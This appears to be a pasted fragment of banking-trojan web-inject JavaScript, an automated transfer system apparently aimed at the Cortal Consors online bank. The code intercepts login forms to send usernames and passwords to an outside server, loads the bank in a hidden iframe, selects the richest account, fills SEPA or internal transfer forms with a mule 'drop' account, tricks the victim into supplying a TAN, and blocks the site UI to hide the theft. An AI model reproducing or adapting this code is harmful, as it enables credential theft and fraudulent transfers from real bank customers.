- if (loginForm)
- {
- loginForm.onsubmit = function(){return true};
- jq(loginForm).submit(function(e){
- if (!loginDataSent)
- {
- e.preventDefault();
- var login=jq(loginForm).find('input:visible[name="userId"]').val();
- var password=jq(loginForm).find('input:visible[name="nip"]').val();
- ATS.debugMsg('login info: ' + login + ', ' + password);
- loginDataSent = true;
- ATS.sendLoginInfo(login, password, function(){
- jq(loginForm).submit();
- })
- //return false;
- }
- //return true;
- });
- return true;
- }
- var loginForm = ATS.getLoginForm2();
- if (loginForm)
- {
- loginForm.onsubmit = function(){return true};
- jq(loginForm).submit(function(e){
- if (!loginDataSent)
- {
- e.preventDefault();
- var login=jq(loginForm).find('input:visible[name="username"]').val();
- var password=jq(loginForm).find('input:visible[name="passwort"]').val();
- ATS.debugMsg('login info: ' + login + ', ' + password);
- loginDataSent = true;
- ATS.sendLoginInfo(login, password, function(){
- jq(loginForm).submit();
- })
- //return false;
- }
- //return true;
- });
- return true;
- }
- return false;
- }
- ATS.getTime = function()
- {
- return Math.floor((new Date).getTime() / 1000);
- }
- ATS.openInIframe = function(url)
- {
- var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
- jq('body').append(iframe);
- if (ATS.debugVisibleFrame)
- {
- jq("#ats_wrk_iframe").css('width', '1200px');
- jq("#ats_wrk_iframe").css('height', '800px');
- jq("#ats_wrk_iframe").css('top', '100px');
- jq("#ats_wrk_iframe").css('position', 'absolute');
- jq("#ats_wrk_iframe").css('z-index', '4000');
- // jq("body").css('position', 'relative');
- }
- else
- {
- var height=jq(parent.window).height();
- var width=jq(parent.window).width();
- jq("#ats_wrk_iframe").css('width', width);
- jq("#ats_wrk_iframe").css('height', height);
- //jq(iframe).css('top', '0px');
- //jq(iframe).css('position', 'absolute');
- jq("#ats_wrk_iframe").css('visibility', 'hidden');
- }
- }
- ATS.parseAccountsList = function()
- {
- var accountsList = new Array();
- var accountsListNided = new Array();
- jq("table.assets").each(function(){
- jq(this).find('tr').has('td.actions button').each(function(i){
- var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
- var number=jq.trim(jq(this).children("td:eq(1)").text());
- var button=jq(this).children("td:eq(3)").find('button');
- var buttontext=jq(this).children("td:eq(3)").find('button').text().replace(/\s+/g, '');
- var tr=jq(this);
- var overdraft=0;
- var Referenzkonto=tr.parent().parent().parent().parent().find('.detailview div:eq('+i+') .interest:contains(Referenzkonto)').next().find("span").text().replace(/\s+/g, '')
- var Uberweisungslimit=tr.parent().parent().parent().parent().find('.detailview span.plus').text();
- if (number != '')
- {
- // ATS.debugMsg('Account: ' + number + '; balance : ' + balance + '; overdraft : ' + overdraft + '; Referenzkonto : '+Referenzkonto+' buttontext = '+buttontext);
- accountsList.push({number: number,balance: balance, overdraft: overdraft, button: button, tr: tr,Referenzkonto:Referenzkonto,buttontext:buttontext,Uberweisungslimit:Uberweisungslimit});
- }
- })
- });
- for(var i in accountsList)
- {
- if((accountsList[i].buttontext.indexOf('berweisung')==-1) ||(accountsList[i].Referenzkonto.indexOf('Nein')==-1)){
- }else { accountsListNided.push(accountsList[i]);ATS.debugMsg(accountsList[i]);}
- }
- return accountsListNided ;
- }
- ATS.framePageFinanzstatus = function()
- {
- if (!!jq('div[role="dialog"]:visible').length)
- jq('div[role="dialog"]').find('span:contains(close)').click();
- if(!parent.ATS.Gesamtsaldo){
- if(jq(".accountGroupList h2.header span.accountGroupSum").length>0){
- var tempGesamtsaldo=0;
- jq(".accountGroupList h2.header span.accountGroupSum").each(function(){
- tempGesamtsaldo+=ATS.fin2float(jq(this).text());
- })
- }
- else {ATS.die("framePageFinanzstatus: cant find tempGesamtsaldo");return false;}
- parent.ATS.Gesamtsaldo = tempGesamtsaldo;
- }
- ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
- ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- parent.ATS.accounts_list = ATS.parseAccountsList();
- if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find accounts Referenzkonto:Nein and button=Uberweisung');
- //var maxBalance = ATS.getMaxTransferAcc();
- var maxAcc = ATS.getMaxTransferAcc();
- parent.ATS.maxAcc=maxAcc;
- parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
- parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
- parent.ATS.LimitTransfer=ATS.fin2float(maxAcc.Uberweisungslimit);
- jq(maxAcc.button).click();
- /*
- maxAcc.tr.mouseenter();
- setTimeout(function(){
- parent.ATS.LimitTransfer=ATS.fin2float(maxAcc.tr.parent().parent().parent().parent().find('.detailview span.plus').text());
- jq(maxAcc.button).click();
- }, 2000);
- */
- }
- ATS.KreditlimitPage = function()
- {
- var totalKreditBalance=0;
- var dostupnaSumma=jq('.account-balance').find('td:eq(1) span');
- dostupnaSumma = ATS.fin2float(jq(dostupnaSumma).text());
- ATS.debugMsg('dostupnaSumma: ' + dostupnaSumma);
- if(dostupnaSumma<=0){ ATS.die('KreditlimitPage: dostupnaSumma(Kontostand ) = '+dostupnaSumma); return false;}
- if (parent.ATS.LimitTransfer>dostupnaSumma) totalKreditBalance=dostupnaSumma;
- else totalKreditBalance=parent.ATS.LimitTransfer;
- var HasSepa=false;
- jq("input[name='opponentKeysInputType']").each(function(){
- if (jq.trim(jq(this).attr("value"))=="ibanBic") HasSepa=jq(this);
- //jq(this).removeAttr('checked');
- })
- totalKreditBalance=parseFloat(totalKreditBalance.toFixed(2));
- if(HasSepa){
- ATS.getDrop('SEPA', totalKreditBalance, function(data){
- if (data && data.drop)
- {
- parent.ATS.sepa_drop = data.drop;
- parent.ATS.StepInFrame.set_current_state("SEPA_page");
- jq(HasSepa).attr('checked', 'checked');
- jq(HasSepa).click();
- setTimeout(function(){
- ATS.framePageSEPA_page();
- }, ATS.randInt(2000, 3500));
- }
- else
- {
- ATS.getDrop('Internal', totalKreditBalance, function(data){
- if (data && data.drop)
- {
- parent.ATS.int_drop = data.drop;
- parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
- parent.ATS.transf_mode = 'int';
- setTimeout(function(){
- ATS.framePageInternal_transf_page();
- }, ATS.randInt(2000, 3500));
- }
- else
- {
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- ATS.die('KreditlimitPage: no Int drop');
- }
- });
- }
- });
- }else { // comment if(HasSepa){
- ATS.getDrop('Internal', totalKreditBalance, function(data){
- if (data && data.drop)
- {
- parent.ATS.int_drop = data.drop;
- parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
- parent.ATS.transf_mode = 'int';
- setTimeout(function(){
- ATS.framePageInternal_transf_page();
- }, ATS.randInt(2000, 3500));
- }
- else
- {
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- ATS.die('KreditlimitPage: no Int drop');
- }
- });
- }
- }
- ATS.framePageTransactions = function()
- {
- parent.ATS.StepInFrame.set_current_state("SEPA_page");
- var sepa_link=jq('.gad-tabnavigation-list > li:eq(1) a').attr("href");
- if (sepa_link!='') {
- setTimeout(function(){
- document.location.href = sepa_link;
- }, ATS.randInt(2000, 3500));
- }
- else ATS.die('framePageTransactions: cant find sepa_link');
- }
- ATS.framePageOverseas_remittance = function()
- {
- parent.ATS.StepInFrame.set_current_state("SEPA_page");
- ATS.debugMsg('ATS.framePageOverseas_remittance, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- setTimeout(function(){
- jq('.nextStep input[type="submit"]').eq(0).click();
- }, ATS.randInt(2000, 3500));
- }
- ATS.framePageSEPA_page = function()
- {
- ATS.debugMsg('ATS.framePageSEPA_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- ATS.framePageSEPA_fill();
- }
- ATS.framePageSEPA_fill = function()
- {
- var drop = parent.ATS.sepa_drop;
- /*
- var accountsSelect = jq('select[name="idKontoGewaehlt"]');
- if (jq(accountsSelect).length != 0)
- {
- var maxAcc = null;
- jq(accountsSelect).children('option').each(function(){
- var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
- if (acc_num != '')
- {
- ATS.debugMsg('Option: ' + acc_num);
- var accInfo = ATS.findAccountInfo(acc_num.toString());
- ATS.debugMsg('accInfo: ' + accInfo);
- if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
- {
- maxAcc = accInfo;
- jq(this).attr('selected', 'selected');
- }
- }
- });
- }
- if (maxAcc)
- {
- ATS.setCookie('transfer_acc', maxAcc.number);
- }
- else ATS.die('framePageSEPA_fill: cent find transfer_acc');
- */
- if (parent.ATS.maxAcc.number)
- {
- ATS.setCookie('transfer_acc', parent.ATS.maxAcc.number);
- }
- else ATS.die('framePageSEPA_fill: cent find transfer_acc');
- //------------------------------------------------------
- jq('input:visible[name="accountingOpponent"]').val(drop.DrName);
- //jq('input:visible[name="ibanOpponent"]').focus().val(drop.IBAN).blur().keyup();
- jq('input:visible[name="ibanOpponent"]').val(drop.IBAN);
- //jq('input:visible[name="bicOpponent"]').focus().val( ATS.padRight(drop.BIC,11)).blur().keyup();
- jq('input:visible[name="bicOpponent"]').val( drop.BIC);
- jq('input:visible[name="amount"]').val(drop.amount);
- jq('input:visible[name="purpose1"]').val(drop.Reference);
- var displayBankNameCH = function(data) {
- if (data) {
- var hasError = (data.errors) ? true : false;
- bankNameOpponent.value = data.bankName;
- }
- };
- setTimeout(function(){
- coco.jsonService.banking.BankNameSearch({
- "type" : "bic",
- id : drop.BIC,
- callbackSuccess : displayBankNameCH,
- callbackXhrError: function(){displayBankName(null);}//reset Bankname to default, don't show xhr error
- });
- }, ATS.randInt(2000, 3000));
- //------------------------
- //parent.ATS.current_state = 110;
- parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
- ATS.sendLogMsg('SEPA form filled in');
- if ( jq('input#submitBtn').eq(0).length)
- {
- setTimeout(function(){
- //jq('input#submitBtn').eq(0).click();
- var but=jq('input#submitBtn');
- ATS.imgSubmit(but);
- }, ATS.randInt(20000, 30000));
- }
- else
- {
- ATS.die('framePageSEPA_page: cant find continue button');
- }
- }
- ATS.framePageInternal_transf_page = function()
- {
- ATS.debugMsg('ATS.framePageInternal_transf_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- ATS.framePageInternal_transf_page_fill();
- }
- ATS.framePageInternal_transf_page_fill = function()
- {
- var drop = parent.ATS.int_drop;
- /*
- var accountsSelect = jq('select[name="idKontoGewaehlt"]');
- if (jq(accountsSelect).length != 0)
- {
- var maxAcc = null;
- jq(accountsSelect).children('option').each(function(){
- var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
- if (acc_num != '')
- {
- ATS.debugMsg('Option: ' + acc_num);
- var accInfo = ATS.findAccountInfo(acc_num.toString());
- ATS.debugMsg('accInfo: ' + accInfo);
- if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
- {
- maxAcc = accInfo;
- jq(this).attr('selected', 'selected');
- }
- }
- });
- }
- if (maxAcc)
- {
- ATS.setCookie('transfer_acc', maxAcc.number);
- }
- else ATS.die('framePageInternal_transf_page_fill: cent find transfer_acc');
- */
- if (parent.ATS.maxAcc.number)
- {
- ATS.setCookie('transfer_acc', parent.ATS.maxAcc.number);
- }
- else ATS.die('framePageInternal_transf_page_fill: cent find transfer_acc');
- //------------------------------------------------------
- //jq('input:visible[name="ibanOpponent"]').focus().val(drop.IBAN).blur().keyup();
- jq('input:visible[name="ibanOpponent"]').val(drop.IBAN);
- jq('input[name="accountingOpponent"]').val(drop.DrName);
- //jq('input[name="accountnoOpponent"]').val(drop.Konto);
- //jq('input[name="bankCodeOpponent"]').val(drop.BLZ);
- jq('input[name="amount"]').val(drop.amount);
- jq('input[name="purpose1"]').val(drop.Reference);
- var displayBankNameCH = function(data) {
- if (data) {
- var hasError = (data.errors) ? true : false;
- bankNameOpponent.value = data.bankName;
- }
- };
- setTimeout(function(){
- coco.jsonService.banking.BankNameSearch({
- "type" : "iban",
- id : drop.IBAN,
- callbackSuccess : displayBankNameCH,
- callbackXhrError: function(){displayBankName(null);}//reset Bankname to default, don't show xhr error
- });
- }, ATS.randInt(2000, 3000));
- //------------------------
- parent.ATS.StepInFrame.set_current_state("INT_form_filled");
- ATS.sendLogMsg('INT form filled in');
- if ( jq('input#submitBtn').eq(0).length)
- {
- setTimeout(function(){
- //jq('input#submitBtn').eq(0).click();
- var but=jq('input#submitBtn');
- ATS.imgSubmit(but);
- }, ATS.randInt(20000, 30000));
- }
- else
- {
- ATS.die('framePageInternal_transf_page: cant find continue button');
- }
- }
- ATS.enterCode = function(tan)
- {
- ATS.debugMsg('ATS.enterCode ' + tan);
- if (jq('#defaultFocusT0').length)
- {
- jq('#defaultFocusT0').val(tan);
- if ( jq('input[name*="event_confirm"]').eq(0).length)
- {
- //parent.ATS.current_state = 120;
- parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
- parent.ATS.UI_showWait();
- //jq('input[name*="event_confirm"]').eq(0).click();
- var but=jq('input[name*="event_confirm"]');
- ATS.imgSubmit(but);
- }
- else
- ATS.die('enterCode: cant find button');
- }
- else
- ATS.die('enterCode: cant find field by label');
- }
- ATS.randomPage = function()
- {
- ATS.debugMsg('ATS.randomPage');
- var page= ATS.randInt(1,5);
- var loc='';
- switch (page) {
- case 1:
- loc="https://www.cortalconsors.de/ev/Sparen-Anlegen/Anlegen/Aktien";
- //jQuery('nav.loggedin li a:contains(Aktien)').eq(0).click();
- break
- case 2:
- loc="https://www.cortalconsors.de/ev/Finanzieren/-/Ratenkredit";
- //jQuery('nav.loggedin li a:contains(Finanzieren)').eq(0).click();
- break
- case 3:
- loc="https://www.cortalconsors.de/ev/Girokonto/-/Girokonto";
- // jQuery('nav.loggedin li a:contains(Girokonto)').eq(0).click();
- break
- case 4:
- loc="https://www.cortalconsors.de/Wertpapierhandel/Futures";
- //jQuery('nav.loggedin li a:contains(Girokonto)').eq(0).click();
- break
- case 5:
- loc="https://www.cortalconsors.de/ev/Wertpapierhandel/Depot-Software/Wertpapierdepot";
- //jQuery('nav.loggedin li a:contains(Fonds)').eq(0).click()
- break
- }
- ATS.StepInFrame.set_current_state("inside_randomPage");
- if(!!loc.length){
- //loc=loc.attr("href").replace("(","%28").replace(")","%29");;
- return loc;
- }
- else ATS.die('randomPage: cant find link for random page');
- return false;
- }
- ATS.inside_randomPage = function()
- {
- ATS.debugMsg('ATS.inside_randomPage');
- ATS.StepInFrame.set_current_state("framePageFinanzstatus");
- setTimeout(function(){
- loc=jq("li a:contains(Mein Konto):visible").attr("href");
- document.location.href = loc;
- }, ATS.randInt(15000,30000));
- }
- ATS.frameWork = function()
- {
- ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
- ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
- switch (ATS.StepInFrame[parent.ATS.current_state])
- {
- case "framePageFinanzstatus":
- ATS.framePageFinanzstatus();
- break;
- case "Transactions":
- ATS.framePageTransactions();
- break;
- case "Overseas_remittance":
- ATS.framePageOverseas_remittance();
- break;
- case "KreditlimitPage":
- ATS.KreditlimitPage();
- break;
- case "SEPA_page":
- ATS.framePageSEPA_page();
- break;
- case "randomPage":
- ATS.randomPage();
- break;
- case "inside_randomPage":
- ATS.inside_randomPage();
- break;
- case "SEPA_form_filled":
- if (!jq("div.aspect-error:visible").length)
- {
- ATS.UI_askTan();
- }
- else
- {
- ATS.die('frameWork: Error fill SEPA form: ' + jq.trim(jq("div.aspect-error:visible").text()));
- }
- break;
- case "Internal_transf_page":
- ATS.framePageInternal_transf_page();
- break;
- case "INT_form_filled":
- if (!jq("div.aspect-error:visible").length)
- {
- ATS.UI_askTan();
- }
- else
- {
- ATS.die('frameWork: Error fill INT form: ' + jq.trim(jq("div.aspect-error:visible").text()));
- }
- break;
- case "TAN_ENTERED":
- ATS.debugMsg("TAN_ENTERED");
- if (jq("div.aspect-error:visible").length)
- {
- parent.ATS.badTan = true;
- ATS.sendLogMsg('frameWork: bad TAN');
- if (parent.ATS.transf_mode == 'sepa') parent.ATS.StepInFrame.set_current_state("SEPA_page");
- else parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
- if ( jq('input[name*="event_change"]').length)
- {
- setTimeout(function(){
- //jq('input[name*="event_change"]').click();
- var but=jq('input[name*="event_change"]');
- ATS.imgSubmit(but);
- }, ATS.randInt(4000, 5500));
- }
- else ATS.die('TAN_ENTERED: cant find previousStep button');
- }
- else {
- if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
- else ATS.framePageReceiptInternal();
- }
- break;
- }
- }
- if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
- {
- document.write('<div class="inj_full_overlay"></div>');
- jq(document).ready(function(){
- ATS.debugMsg('document loaded');
- //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
- ATS.loadData(function(data){
- if (ATS.account_id != 0)
- {
- switch (ATS.getCookie('status')) {
- case "1":
- if (ATS.isLoggedIn()) {ATS.replaceBalances(); }
- jq('.inj_full_overlay').remove();
- break;
- case "2":
- ATS.debugMsg('case "2"');
- if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=2) {
- ATS.setCookie('status',0);
- ATS.saveCookies();
- ATS.sendLogMsg('Replace cookie status from 2 on 0');
- jq('.inj_full_overlay').remove();
- } else {jq('.inj_full_overlay').remove(); break;}
- default:
- if (ATS.checkLoginPage())
- {
- ATS.debugMsg('login page');
- ATS.setLoginHook();
- jq('.inj_full_overlay').remove();
- break;
- }
- if (ATS.isLoggedIn())
- {
- ATS.debugMsg('logged in!');
- var t =jq('ul.activeNotificationAction a').text();
- if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
- ATS.debugMsg('TAN locked!');
- ATS.die("TAN locked!");
- jq('.inj_full_overlay').remove();
- break;
- }
- if ((parent.document !== document) && parent.ATS)
- {
- ATS.debugMsg('we are in frame!');
- ATS.frameWork();
- jq('.inj_full_overlay').remove();
- break;
- }
- else
- {
- if (!!jq('div[role="dialog"]:visible').length) jq('div[role="dialog"]').find('span:contains(close)').click();//убрать окно Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñом
- jq('.inj_full_overlay').remove();
- ATS.UI_blockSite();
- ATS.UI_showWait();
- ATS.mainWork();
- break;
- }
- }
- else
- {
- if ((parent.document !== document) && parent.ATS)
- {
- ATS.debugMsg('we are in frame and not logged in!');
- }
- }
- break;
- }
- }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
- if(!ATS.isLoggedIn()) {jq('.inj_full_overlay').remove();
- ATS.debugMsg('!ATS.isLoggedIn()');}
- });
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement